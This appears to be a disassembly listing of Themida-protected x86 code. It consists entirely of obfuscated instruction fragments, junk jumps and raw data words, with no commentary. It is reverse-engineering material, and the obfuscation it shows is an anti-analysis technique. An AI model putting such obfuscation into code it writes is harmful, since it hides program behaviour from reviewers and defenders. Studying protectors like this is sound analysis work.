mov ebp, edi
mov edi, [esp]
add esp, 4
mov ebx, [esp]
jmp loc_5056F1
; ---------------------------------------------------------------------------
db 5Bh
dd 0EC83D828h, 14896602h, 4E5B224h, 66D00050h, 2850B551h
dd 665966E8h, 241C8B5Ah, 6604C483h, 665D6168h, 0E9240C89h
dd 6CE8h, 0E9241C89h, 0FFFFA5DFh, 4244401h, 2434FF58h
dd 0C5BCE958h, 1C89FFFFh, 42EEBB24h, 0D3F748E8h, 8904EC83h
dd 0F3B9240Ch, 0E948E842h, 0FFFFF021h
; ---------------------------------------------------------------------------
loc_50B5AC: ; CODE XREF: Themida_:0050E8A7j
pop esi
sub esi, 0F38A3E06h
mov ebx, esi
pop esi
sub ebp, ebx
pop ebx
add eax, 7AE74BF2h
sub eax, ebp
sub eax, 7AE74BF2h
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
push 1616h
mov [esp], edx
push esi
push ecx
sub esp, 4
mov [esp], ebp
mov ebp, 5D990AB4h
jmp loc_50E41F
; ---------------------------------------------------------------------------
db 8Bh
dd 0C481243Ch, 4, 5C241487h, 0BD242C89h, 3EF6B9Fh, 8104E5C1h
dd 1EDh, 0BA525700h, 5B3C206Eh, 7B49E1BFh, 8BD73138h, 0C4812414h
dd 4, 3C8BFD09h, 88D3E924h, 0C3830000h, 0BE3BE904h, 0D6F7FFFFh
dd 0FFEEEAE9h, 59CC88FFh, 888EB652h, 0E5285AF5h, 40C38058h
dd 3DEB80h, 3DC380EBh, 0E940EB80h, 51F0h, 0BE9C281h, 0EA81FE4Eh
dd 748B3C90h, 0F2E9FA01h, 0BD0000B8h, 4, 43E9E829h
db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50B677: ; CODE XREF: Themida_:0050E3F0j
push 3766h
mov [esp], edi
jmp loc_50C656
; ---------------------------------------------------------------------------
dd 0C0C5FE5Ah, 0ED8004E5h, 53525317h, 0DA88EB88h, 5AD3885Bh
dd 88FFC380h, 0C8A7E9DDh, 0C681FFFFh, 11800CCCh, 592434FFh
dd 4C481h, 34330000h, 0BF65E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50B6BA: ; CODE XREF: Themida_:0050E218j
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], ebp
push 0ABB3A0Eh
jmp loc_516B64
; ---------------------------------------------------------------------------
dw 3489h
dd 0B3CCE924h, 0ABBAFFFFh, 81276621h, 12939C2h, 0E9D30121h
dd 0FFFF8BDCh
; ---------------------------------------------------------------------------
loc_50B6F0: ; CODE XREF: Themida_:00502D6Aj
mov [esp], eax
jmp loc_512330
; ---------------------------------------------------------------------------
dd 0E243481h, 5D648C08h, 80EF581h, 1AE9648Ch, 58FFFFF9h
dd 21E952h, 0E1C10000h, 53D9F708h, 5910BBh, 0B34DE951h
dd 0EF800000h, 69FF68FFh, 0C890000h, 5DE95224h, 5300001Eh
dd 4BBh, 5BDA8900h, 43576205h, 2DD00134h, 34435762h, 0A86EE95Ah
dd 0EA810000h, 4, 8B241487h, 2C892424h, 0D4EB6824h, 535D1990h
dd 0AC0F7F68h, 0DBF75B47h, 642E381h, 0EBC1221Fh, 0A7E4E905h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50B77A: ; CODE XREF: Themida_:0051436Cj
dec edi
or edi, 3BA26AF9h
sub edi, 39611EDDh
sub eax, edi
pop edi
dec eax
sub eax, 1EF8E4C9h
add ebx, eax
pop eax
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
jmp loc_509FE1
; ---------------------------------------------------------------------------
loc_50B7A2: ; CODE XREF: Themida_:0051533Cj
xor ebx, 634152FBh
add ebx, 1
sub esp, 4
mov [esp], edx
mov edx, 1E3D7DA8h
inc edx
dec edx
xor edx, 0E7468146h
add ebx, edx
jmp loc_50EB88
; ---------------------------------------------------------------------------
loc_50B7CB: ; CODE XREF: Themida_:00506320j
mov eax, [esp]
add esp, 4
shr edx, 1
add edx, 4D202822h
push ebp
mov ebp, 236B6C81h
add edx, ebp
pop ebp
push esi
mov esi, 30AA19D3h
add esi, 0A020FA3h
or esi, 6929735Eh
sub esi, 76CD0D1Fh
xor edx, esi
pop esi
jmp loc_50BF2A
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 81242489h, 42404h, 2C8B0000h, 6193E924h, 8F5A0000h
dd 248B2404h, 2F6B6824h, 42E90000h, 83FFFF81h, 0C8904ECh
dd 0AA9B924h, 0E981077Dh, 37B8432Bh, 0C1FFE983h, 0F18104E9h
dd 1ECF2F5Ah, 1C181h, 0F1810000h, 53F6417Bh, 4559CD89h
dd 0FFFFED81h, 3FE9FFFFh, 0BB000060h, 0FF37F9D6h, 15BDD01h
dd 0C2815DEAh, 4, 653468h, 24148900h, 42474FFh, 0E924148Bh
dd 0FFFF752Bh, 310B30BFh, 5FF9290Fh, 411BD55h, 0FCE92EFFh
db 9Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50B89B: ; CODE XREF: Themida_:005096F7j
add ebp, 4
jmp loc_50FB69
; ---------------------------------------------------------------------------
loc_50B8A6: ; CODE XREF: Themida_:0050B3CDj
xor [esp], esi
jmp loc_5134F4
; ---------------------------------------------------------------------------
loc_50B8AE: ; CODE XREF: Themida_:00503F9Dj
add eax, 4
add eax, 4
jmp loc_5037EF
; ---------------------------------------------------------------------------
loc_50B8BB: ; CODE XREF: Themida_:00507262j
neg ebp
sub ebp, 8C98A37Dh
mov ecx, ebp
pop ebp
push ecx
mov ecx, 63701D23h
shr ecx, 2
jmp loc_50BFA3
; ---------------------------------------------------------------------------
dd 24348B54h, 0FFCF0EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50B8DD: ; CODE XREF: Themida_:0050557Ej
and edi, 79D554C6h
or edi, 5D53EA0h
xor edi, 18201458h
sub eax, edi
pop edi
jmp loc_514C9F
; ---------------------------------------------------------------------------
db 89h
dd 0B439E9D1h, 0C681FFFFh, 0E1AFC808h, 0FF8906E9h, 0E9F809FFh
dd 0FFFFD506h, 0E9241C89h, 0A930h, 3013E95Ch, 2C590000h
dd 807CE94Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50B926: ; CODE XREF: Themida_:00515A3Dj
sub esp, 4
mov [esp], edi
push eax
mov eax, 57B179C4h
and eax, 2AB0619Fh
shr eax, 5
shl eax, 3
shl eax, 1
jmp loc_50832E
; ---------------------------------------------------------------------------
dd 592434FFh, 5904C483h, 79AAE9h, 59CE0100h, 7BEA68h, 243C8900h
dd 397B85BFh, 9CF814Ch, 0E9443A06h, 2FACh, 55E18951h, 769CBB53h
dd 98BD35A3h, 3135A376h, 6122E9DDh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50B982: ; CODE XREF: Themida_:0050D507j
pop esp
mov [esp], ecx
push esp
pop ecx
push ebx
mov ebx, 4
jmp loc_511FFB
; ---------------------------------------------------------------------------
db 8Bh
dd 4082424h, 2CE99C24h, 29FFFF71h, 15B5AD0h, 3EFA68E8h
dd 0C890000h, 0E05E924h, 0C5810000h, 4, 4BA52h, 52E90000h
dd 89000079h, 4C681E6h, 81000000h, 4EEh, 24348700h, 241C895Ch
dd 0D78B2BBh, 60CB815Bh, 8144C41Bh, 4ECh, 241C8900h, 0FF77E2E9h
dd 9EE68FFh, 14890000h, 81E28924h, 4C2h, 4C28100h, 87000000h
dd 0EE92414h, 580000BFh, 8A56E9h
db 0
; ---------------------------------------------------------------------------
loc_50BA15: ; CODE XREF: Themida_:00516769j
mov edi, ebp
jmp loc_510818
; ---------------------------------------------------------------------------
dd 814BC381h, 0EF81C878h, 1388356Dh, 0C781DF01h, 1388356Dh
dd 8B2434FFh, 6EE9241Ch, 89000050h, 34E9243Ch, 8B00001Fh
dd 0E92424h, 10000A6h, 0E2E95AD3h, 810000BFh, 4ECh, 24248900h
dd 4240483h, 40558h, 0EC830000h, 24348904h, 720B0BBEh
dd 0FBF5777h, 3177720Bh, 243C8BFEh, 7C56E9h
db 0
; ---------------------------------------------------------------------------
loc_50BA81: ; CODE XREF: Themida_:0050A05Cj
add edx, ebp
pop ebp
push ecx
mov ecx, 75C7599Ch
add edx, ecx
pop ecx
add edx, ebp
sub edx, 75C7599Ch
push ecx
mov ecx, 42967A5h
jmp loc_508199
; ---------------------------------------------------------------------------
dd 0FD685E5Eh, 8900006Ah, 0C4E92414h, 0BDFFFFB1h, 4C2CA66Fh
dd 0D15FFD29h, 0ED814DEDh, 64447591h, 68h, 242C2900h, 5877E95Dh
dd 3C870000h, 6DE95C24h, 59000061h, 0B1CAE9h
db 0
; ---------------------------------------------------------------------------
loc_50BADD: ; CODE XREF: Themida_:0050EF4Aj
mov [esp], edi
sub esp, 4
mov [esp], esp
jmp loc_50A8E8
; ---------------------------------------------------------------------------
loc_50BAEB: ; CODE XREF: Themida_:00516538j
sub bl, 0F9h
add bl, 89h
jmp loc_50348F
; ---------------------------------------------------------------------------
loc_50BAF6: ; CODE XREF: Themida_:0050F68Fj
shl edi, 6
xor edi, 683AC182h
add esi, edi
pop edi
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
sub [esp], al
pushf
jmp loc_502ACB
; ---------------------------------------------------------------------------
db 87h, 0Ch, 24h
dd 2414895Ch, 5670BB53h, 7E908ACh, 0B8000060h, 7C1A72A4h
dd 4244401h, 68E95F58h, 81000001h, 0A15D73C2h, 0CB68591Ah
dd 89000068h, 0BE56240Ch, 2, 15EF189h, 0FF5259CAh, 5A042474h
dd 56E6E9h
db 0
byte_50BB5D db 66h, 8Bh, 4 ; DATA XREF: Themida_:0050295Co
aSiuss db '$S‰ãéá[',0
db 0
; ---------------------------------------------------------------------------
loc_50BB69: ; CODE XREF: Themida_:0050C73Aj
push 4E02h
mov [esp], esi
push ebx
mov ebx, 5F771992h
jmp loc_512902
; ---------------------------------------------------------------------------
dd 1B4CF381h, 0D9011ED7h, 83241C8Bh, 0C18104C4h, 2, 98B5E9h
db 0
; ---------------------------------------------------------------------------
loc_50BB95: ; CODE XREF: Themida_:00512245j
push esp
push dword ptr [esp]
pop ebp
add esp, 4
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push ecx
jmp loc_511835
; ---------------------------------------------------------------------------
dw 0E689h
dd 4C681h, 0C6810000h, 4, 8B243487h, 0BE0F2424h, 0E95451C8h
dd 9CF0h, 4244481h, 567D2C6Bh, 99BF5750h, 895ADF19h, 44295FF8h
dd 48B0824h, 4C48324h, 4245401h, 4244481h, 5ADF1999h, 74696851h
dd 1C890000h, 961BE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50BC0A: ; CODE XREF: Themida_:00507221j
push esi
mov esi, 3AAA7267h
and esi, 35A6631Fh
shr esi, 7
or esi, 2E7829F2h
xor esi, 503A1F16h
add esi, 81BC8D24h
add ebx, esi
pop esi
jmp loc_507D1D
; ---------------------------------------------------------------------------
db 89h
dd 89535EF7h, 8BDD89FBh, 0C483241Ch, 0D350E904h
db 2 dup(0FFh)
word_50BC46 dw 8B66h ; DATA XREF: Themida_:005028FCo
dd 6852240Ch, 6501h, 56242489h, 0FFDC3BE9h, 2DF001FFh
dd 18E132B9h, 33102205h, 2434FF50h, 6382E9h
db 0
; ---------------------------------------------------------------------------
loc_50BC6D: ; CODE XREF: Themida_:0050A280j
push edx
add dword ptr [esp], 43B95551h
pop ebp
sub ebp, 43B95551h
mov edx, [esp]
add esp, 4
and eax, ebp
pop ebp
or edx, eax
shl edx, 1
push ecx
mov ecx, esp
push edi
jmp loc_5060AA
; ---------------------------------------------------------------------------
dw 0D6B3h
dd 4EC81h, 0FAE90000h, 56FFFFA9h, 3049EEBEh, 81DEF714h
dd 534BBEEEh, 0D8AFE94Ah, 14BBFFFFh, 0F7590043h, 1EB83DBh
dd 4E41E955h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50BCC2: ; CODE XREF: Themida_:0051478Dj
jmp loc_502ACB
; ---------------------------------------------------------------------------
loc_50BCC7: ; CODE XREF: Themida_:0050604Fj
push ebp
push esp
pop ebp
jmp loc_514F39
; ---------------------------------------------------------------------------
aQS5 db 'QµÐé',1Bh,'5',0
dw 0B700h
dd 0E9F83031h, 0FFFFF77Dh, 66EAE281h, 0C2683A57h, 89000012h
dd 0BD552404h, 65C4A3Ah, 0E95DE889h, 0FFFF8426h
aMrPTFshT db '¬R²Àâ',8,'fShËT',0 ; DATA XREF: Themida_:00502940o
align 2
dw 1489h
dd 0E901B224h, 9723h
; ---------------------------------------------------------------------------
loc_50BD14: ; CODE XREF: Themida_:005100A4j
push dword ptr [esp]
pop edi
add esp, 4
push edx
jmp loc_509378
; ---------------------------------------------------------------------------
dd 4C0CED81h, 814D0689h, 3362D1EDh, 0E9E831B9h, 0FFFFC9DAh
; ---------------------------------------------------------------------------
loc_50BD38: ; CODE XREF: Themida_:0050E41Aj
add ecx, 1554DDEh
pop eax
jmp loc_50D8A5
; ---------------------------------------------------------------------------
dd 2FCEEE81h, 148B51EAh, 0E6895624h, 0FFA661E9h, 4CC468FFh
dd 1C890000h, 240CFF24h, 8B2414F7h, 99E9241Ch
db 0BFh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50BD6B: ; CODE XREF: Themida_:00503CDBj
push ebx
push edx
jmp loc_50792B
; ---------------------------------------------------------------------------
loc_50BD72: ; CODE XREF: Themida_:00509D55j
xor [esp], edx
xor edx, [esp]
jmp loc_5045D2
; ---------------------------------------------------------------------------
db 58h, 21h, 0CFh
dd 81240C8Bh, 4C4h, 57906800h, 14890000h, 7226BA24h, 0D7314DDFh
dd 8324148Bh, 0FE2904C4h, 5B98E9h
db 0
; ---------------------------------------------------------------------------
loc_50BDA5: ; CODE XREF: Themida_:00508E11j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
loc_50BDB2: ; CODE XREF: Themida_:00507F72j
sub esp, 4
mov [esp], esi
jmp loc_5063D9
; ---------------------------------------------------------------------------
loc_50BDBD: ; CODE XREF: Themida_:00514232j
pop esp
push 4B28h
mov [esp], ebx
push ecx
sub esp, 4
mov [esp], eax
push edx
mov dl, 15h
mov al, dl
pop edx
dec al
jmp loc_50A44D
; ---------------------------------------------------------------------------
loc_50BDDD: ; CODE XREF: Themida_:005039FDj
push 719Bh
mov [esp], ebx
push dword ptr [esp+4]
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
pop dword ptr [esp]
mov ebp, [esp]
push 51B9h
jmp loc_50D5C9
; ---------------------------------------------------------------------------
db 81h, 0C7h, 0E4h
dd 1FF5078h, 0EAC15FFAh, 5EAC107h, 6562CA81h, 0BE5664E8h
dd 4B92002Dh, 8102EEC1h, 0C6167EF6h, 6F6810Ah, 0E9DA1914h
dd 4E6Eh, 1EEE815Dh, 8160AB64h, 0EA222ACEh, 8AEE8100h
dd 815ACE51h, 0EF421DEEh, 0D6F74E6Fh, 7168EE81h, 3E9C2CFh
dd 68000007h, 4F01h, 53242489h, 0A52AE9h, 2474FF00h, 24048B04h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_50F449
; ---------------------------------------------------------------------------
db 81h, 0CAh, 52h
dd 815EA01Ch, 0E08E53F2h, 138F052Ch, 0D0012039h, 39138F2Dh
dd 67E95A20h, 89000080h, 511E9E3h, 0D8210000h, 12D5Bh
dd 0E8830000h, 149AE901h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50BEBA: ; CODE XREF: Themida_:0050D6DAj
shr ecx, 2
add ecx, 541B5472h
sub ecx, 70DC1AB6h
xor esi, ecx
mov ecx, [esp]
add esp, 4
xchg ebx, esi
not ebx
xchg ebx, esi
jmp loc_517E08
; ---------------------------------------------------------------------------
loc_50BEDC: ; CODE XREF: Themida_:00513998j
pop esp
jmp loc_509ED0
; ---------------------------------------------------------------------------
dw 0C483h
dd 68565604h, 57D1h, 0E9241489h, 21CEh, 6853665Bh, 6F0Bh
dd 0B6241489h, 3062B3CEh, 24148BF3h, 80AEE9h
db 0
; ---------------------------------------------------------------------------
loc_50BF0D: ; CODE XREF: Themida_:005119A8j
pop eax
add [esp+4], ebp
pop ebp
mov eax, [esp]
push esi
push esp
pop esi
push ebx
mov ebx, 7F553398h
sub ebx, 7F553394h
jmp loc_506E52
; ---------------------------------------------------------------------------
loc_50BF2A: ; CODE XREF: Themida_:0050B800j
xor edx, 0CA3BA360h
jmp loc_50FBFA
; ---------------------------------------------------------------------------
db 5Ah, 0E9h, 0F4h
dd 58000014h, 4E9D0F7h, 8FFFFFA5h, 248B2404h, 24048924h
dd 0FF6B7AE9h, 88F088FFh, 24048B01h, 2C6368h, 241C8900h
dd 0C381E389h, 4, 0E904C383h, 0FFFFCC09h
; ---------------------------------------------------------------------------
loc_50BF70: ; CODE XREF: Themida_:0050EAFCj
pop eax
push eax
jmp loc_50D193
; ---------------------------------------------------------------------------
dd offset dword_49D85C+10Ch
align 4
aISux db '‰$$éux',0
align 4
aHk db 'hª~',0
dd 240C8900h, 240C8B54h, 4C481h, 8BE90000h
db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50BF9B: ; CODE XREF: Themida_:0050B316j
mov esp, [esp]
jmp loc_505AEE
; ---------------------------------------------------------------------------
loc_50BFA3: ; CODE XREF: Themida_:0050B8CFj
add ecx, 626B1124h
sub ebx, ecx
pop ecx
sub ebx, ecx
jmp loc_504B22
; ---------------------------------------------------------------------------
db 83h
dd 75E904C4h, 68FFFF89h, 8DEC5C49h, 3635E95Bh, 68560000h
dd 194A787Ch, 1C6815Eh, 0C10FFB7Eh, 0C68108EEh, 55B7E38Dh
dd 515EF589h, 7E6703B9h, 2EC18127h, 313BBCB9h, 0EF8959CDh
dd 0E9EFD15Dh, 4A26h, 0EAC0B8B2h, 0A750E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50C002: ; CODE XREF: Themida_:00510FBAj
xor ecx, [esp]
pop esp
jmp loc_502ACB
; ---------------------------------------------------------------------------
loc_50C00B: ; CODE XREF: Themida_:005033A4j
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
add esi, 4
jmp loc_5084A9
; ---------------------------------------------------------------------------
dw 525Ch
dd 4BB53h, 0DA890000h, 0FFF0CFE9h, 5BDF31FFh, 3E7EBA52h
dd 0C2833001h, 2C875201h, 0DA0EE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50C04A: ; CODE XREF: Themida_:005125FAj
sub ebp, 4
jmp loc_50D504
; ---------------------------------------------------------------------------
dw 0C181h
dd 6C32276Bh, 0FCE9E901h, 87000086h, 87EA87D7h, 87D6F7F5h
dd 87EA87F5h, 0EFF781D7h, 0E95FF119h, 77B9h, 0C681C629h
dd 2692235Eh, 8DF68158h, 0F72ABA14h, 58C681D6h, 81184E07h
dd 0ECB104EEh, 5EF50114h, 305ABD55h, 0E92948B1h, 81E9015Dh
dd 0B1305AC1h, 2434FF48h, 4C4815Dh, 81000000h, 2C1h, 240C3300h
dd 0E9240C31h, 4699h, 0D006C781h, 0F8018041h, 7C3FE9h
db 0
; ---------------------------------------------------------------------------
loc_50C0D1: ; CODE XREF: Themida_:00512128j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_510F81
; ---------------------------------------------------------------------------
loc_50C0E4: ; CODE XREF: Themida_:00514CAFj
mov edx, 4
add ecx, edx
pop edx
jmp loc_51707F
; ---------------------------------------------------------------------------
db 89h, 0CAh, 59h
dd 1B65BD55h, 15E9465Bh, 0BB000014h, 79855C53h, 0FF843EE9h
dd 5FF829FFh, 592434FFh, 7804E950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50C116: ; CODE XREF: Themida_:0050641Bj
xor ecx, 7B1E3CFAh
jmp loc_50DFB4
; ---------------------------------------------------------------------------
db 81h, 0C6h, 4
dd 83000000h, 9AE904EEh, 0BEFFFF7Fh, 1AF628E4h, 815FFE31h
dd 802BC4C5h, 81F52938h, 802BC4EDh, 8294E938h, 5055FFFFh
dd 3869E9h
db 0
; ---------------------------------------------------------------------------
loc_50C151: ; CODE XREF: Themida_:0050671Aj
mov ebp, 0ECB28D13h
xor esi, ebp
mov ebp, [esp]
add esp, 4
jmp loc_51327E
; ---------------------------------------------------------------------------
loc_50C163: ; CODE XREF: Themida_:0050CA0Fj
push edi
mov edi, 3889719Ch
sub [esp+4], edi
jmp loc_509729
; ---------------------------------------------------------------------------
dw 0C283h
dd 24148704h, 4C4835Ch, 0FFA673E9h, 0C40558FFh, 891346D1h
dd 0FBEFE9C1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50C18E: ; CODE XREF: Themida_:00508B36j
xor edi, 0F17B2FF0h
mov ebx, edi
pop edi
jmp loc_511DA1
; ---------------------------------------------------------------------------
dd 2BBh, 5BD90100h, 0AA54E9h
db 0
; ---------------------------------------------------------------------------
loc_50C1A9: ; CODE XREF: Themida_:00506BF4j
sub ebp, ebx
jmp loc_506712
; ---------------------------------------------------------------------------
loc_50C1B0: ; CODE XREF: Themida_:0050F067j
add dword ptr [esp], 4
mov ebp, [esp]
jmp loc_508DCE
; ---------------------------------------------------------------------------
db 81h
dd 2E4498E9h, 243C8B0Ah, 4C481h, 0C870000h, 24248B24h
dd 204CE9h, 4C48100h, 68000000h, 33ACh, 0E9243489h, 9B18h
dd 55D30159h, 0FFBA7FE9h, 24048FFFh, 3124248Bh, 3C33243Ch
dd 243C3124h, 61F9E9h
db 0
byte_50C209 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005027FCo
dd offset dword_4D985C+8Dh
dd 81FA0100h, 4910AAC2h, 74696810h, 0C890000h, 0EA685024h
dd 8B19AB42h, 0D1E92404h
db 31h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50C22F: ; CODE XREF: Themida_:0050DFBCj
pop ebp
jmp loc_506456
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 74FF2414h, 0E95A0424h, 0B3BAh, 95E9DF29h
dd 800000BCh, 156880EBh, 8900005Ah, 0A4B5240Ch, 39F0E952h
dd 48B0000h, 91D8E924h, 4050000h, 5000000h, 4, 2474FF50h
dd 6AC6E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50C27E: ; CODE XREF: Themida_:0050AD4Dj
mov [esp], ebp
push 2C9E7A9Bh
jmp loc_50DC20
; ---------------------------------------------------------------------------
db 83h
dd 0C60104C4h, 8A9EE81h, 0EE815859h, 536D2128h, 582434FFh
dd 0AFE95455h, 1000037h, 240C8BCFh, 4C481h, 20E90000h
db 96h, 2 dup(0FFh)
byte_50C2B7 db 66h ; DATA XREF: Themida_:00502A40o
dd 6824048Bh, 7AB2h, 873E9h, 14206800h, 9CE90000h, 89000058h
dd 68532404h, 5ED22391h, 0A8BE565Bh, 8178D92Dh, 0E50C31F6h
dd 8FCE8120h, 0E94D471Eh, 0FFFF718Ah
; ---------------------------------------------------------------------------
loc_50C2F0: ; CODE XREF: Themida_:00516BD6j
add ecx, edi
add ecx, 5B396260h
mov edi, [esp]
add esp, 4
jmp loc_50C932
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 45E95B5Eh, 8300009Ah, 0EF8104C4h, 5B0F0F73h, 9197E956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50C322: ; CODE XREF: Themida_:005175E5j
xor esi, edi
pop edi
mov edx, 9FD29A7Eh
sub edx, 3430691Fh
sub edx, 5D240122h
jmp loc_5098D2
; ---------------------------------------------------------------------------
db 52h
dd 0BC50DCBAh, 0F7F28764h, 42F287D6h, 0E281D2F7h, 347C2350h
dd 0C281DAF7h, 243C0054h, 0FFF6EEE9h, 1102DFFh, 0F029071Dh
dd 7C33BE56h, 0E6815013h, 5E744580h, 4E03E681h, 52E9082Ch
dd 29000008h, 815A5AD6h, 0A06910EEh, 68CE0139h, 359h, 0B9240C89h
dd 50E95415h, 5D05E9h, 0E9535D00h, 0FFFF7A2Bh, 57A2BB53h
dd 0DF897DE3h, 685Bh, 99E90000h, 89000015h, 0D6E9241Ch
dd 81FFFF95h, 4C3h, 4EB8300h, 5C241C87h, 89241489h, 6897E9E2h
dd 0BE56FFFFh, 28B7279Fh, 0FFAFD9E9h, 82E958FFh, 68FFFFA6h
dd 620Bh, 0BB241C89h, 2, 1C8BDD01h, 4C48124h, 87000000h
dd 665C242Ch, 9C242CD3h, 0FF66C2E9h, 0DEF281FFh, 0C16C2A47h
dd 6805E2h, 29000000h, 575A2414h, 0FFADF1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50C421: ; CODE XREF: Themida_:005107C1j
pop ecx
jmp loc_503CA3
; ---------------------------------------------------------------------------
byte_50C427 db 0FFh ; DATA XREF: Themida_:005029F4o
dd 669D1C77h, 1CD36659h, 94E99C24h, 5AFFFF66h, 0F657B551h
dd 53CDFEDDh, 0FD28D4B7h, 8B2434FFh, 0C481241Ch, 4, 7E6EE9h
dd 14875C00h, 24248B24h, 0E9241489h, 0FFFF6667h
; ---------------------------------------------------------------------------
loc_50C464: ; CODE XREF: Themida_:005171B6j
add ebp, edx
pop edx
add ebp, eax
jmp loc_50C915
; ---------------------------------------------------------------------------
dw 0C381h
dd 4, 0FFE424E9h, 89515BFFh, 4EC81D1h, 89000000h, 0FF5F240Ch
dd 81592434h, 4C4h, 2434FF00h, 8669E95Ah
db 2 dup(0)
word_50C49A dw 8B66h ; DATA XREF: Themida_:00502910o
dd 0EF682404h, 8900003Eh, 0EC81242Ch, 4, 68242489h, 2DD6h
dd 57240C89h, 4BFh, 5FF98900h, 4244C01h, 2434FF59h, 5D54555Dh
dd 4C581h, 0C5810000h, 4, 5C242C87h, 4B951h, 0CAE90000h
db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50C4E7: ; CODE XREF: Themida_:00506B3Dj
mov esi, [esp]
add esp, 4
jmp loc_513992
; ---------------------------------------------------------------------------
dw 0DD2Dh
dd 31355FF4h, 2434FFC3h, 8BA3E958h, 8159FFFFh, 4C1h, 68525700h
dd 68E94D52h, 0FFD69FE9h, 243433FFh, 33243431h, 248B2434h
dd 83F1E924h, 53520000h, 1C2A2C68h, 0E3C15B36h, 0BD555605h
dd 0
dd 295DEE89h, 5EF387DEh, 4886EB81h, 81530073h, 3714242Ch
dd 0A1E90866h
db 3Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50C553: ; CODE XREF: Themida_:00505C96j
and ebp, 63857CBFh
jmp loc_50725C
; ---------------------------------------------------------------------------
dw 0F001h
dd 78F0E9h
db 0
; ---------------------------------------------------------------------------
loc_50C565: ; CODE XREF: Themida_:005157F4j
sub al, bl
add al, 0E6h
mov ebx, [esp]
jmp loc_513723
; ---------------------------------------------------------------------------
db 68h, 0F8h, 21h
dd 24890000h, 24048124h, 4, 5D6D6858h, 1C890000h, 4BB24h
dd 0D8010000h, 0FF73A7E9h, 242C89FFh, 0D0E9E589h
db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50C59F: ; CODE XREF: Themida_:00503EB9j
add esi, 4
xchg esi, [esp]
jmp loc_51223E
; ---------------------------------------------------------------------------
loc_50C5AD: ; CODE XREF: Themida_:00508F91j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_50779E
; ---------------------------------------------------------------------------
dw 0C281h
dd 28A13052h, 6363C281h, 0D689AD7Bh, 0BE56535Ah, 5E6152C2h
dd 2AF68146h, 89520779h, 0C7E95EF3h
db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50C5DF: ; CODE XREF: Themida_:00517725j
pop eax
add eax, 4
push edx
mov edx, 4
sub eax, 30857E2Ah
add eax, edx
add eax, 30857E2Ah
pop edx
xchg eax, [esp]
jmp loc_509FEC
; ---------------------------------------------------------------------------
dd 8B2434FFh, 0EE9240Ch, 81FFFFB4h, 4C4h, 0FFC83100h, 83592434h
dd 0C8904ECh, 55595424h, 435EE9h, 0DC58100h, 101C437h
dd 0B268E9CDh, 0EC81FFFFh, 2, 241C8966h, 741E9h
db 0
; ---------------------------------------------------------------------------
loc_50C641: ; CODE XREF: Themida_:0050F91Dj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_517517
; ---------------------------------------------------------------------------
loc_50C656: ; CODE XREF: Themida_:0050B67Fj
push ebx
add dword ptr [esp], 673D1037h
mov edi, [esp]
jmp loc_5139E8
; ---------------------------------------------------------------------------
dw 158h
dd 4EC81F1h, 89000000h, 34B82404h, 297D905Ah, 0C5E958C1h
db 98h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50C67F: ; CODE XREF: Themida_:005177C8j
shr edx, 1
jmp loc_516625
; ---------------------------------------------------------------------------
dw 815Bh
dd 0EBB15BE9h, 59C8016Fh, 432268h, 242C8900h, 0FB26FCBDh
dd 4B736828h, 0C890000h, 13FAB924h, 0E9C13EAFh, 55BE5603h
dd 817C294Ah, 294A54EEh, 5EF1297Ch, 0B7EEB850h, 4AE9E3DBh
dd 5600005Fh, 6A7873BEh, 9882B853h, 0F02996F9h, 0FFD181E9h
dd 0E9315DFFh, 1CF7515Dh, 0E91BE924h
db 2 dup(0FFh)
word_50C6E6 dw 478Fh ; DATA XREF: Themida_:00502860o
dd 63DDE940h, 248BFFFFh, 9CC88424h, 0FF63D2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50C6F9: ; CODE XREF: Themida_:005137F4j
add esp, 4
jmp loc_516C10
; ---------------------------------------------------------------------------
loc_50C701: ; CODE XREF: Themida_:00515709j
pop eax
jmp loc_504497
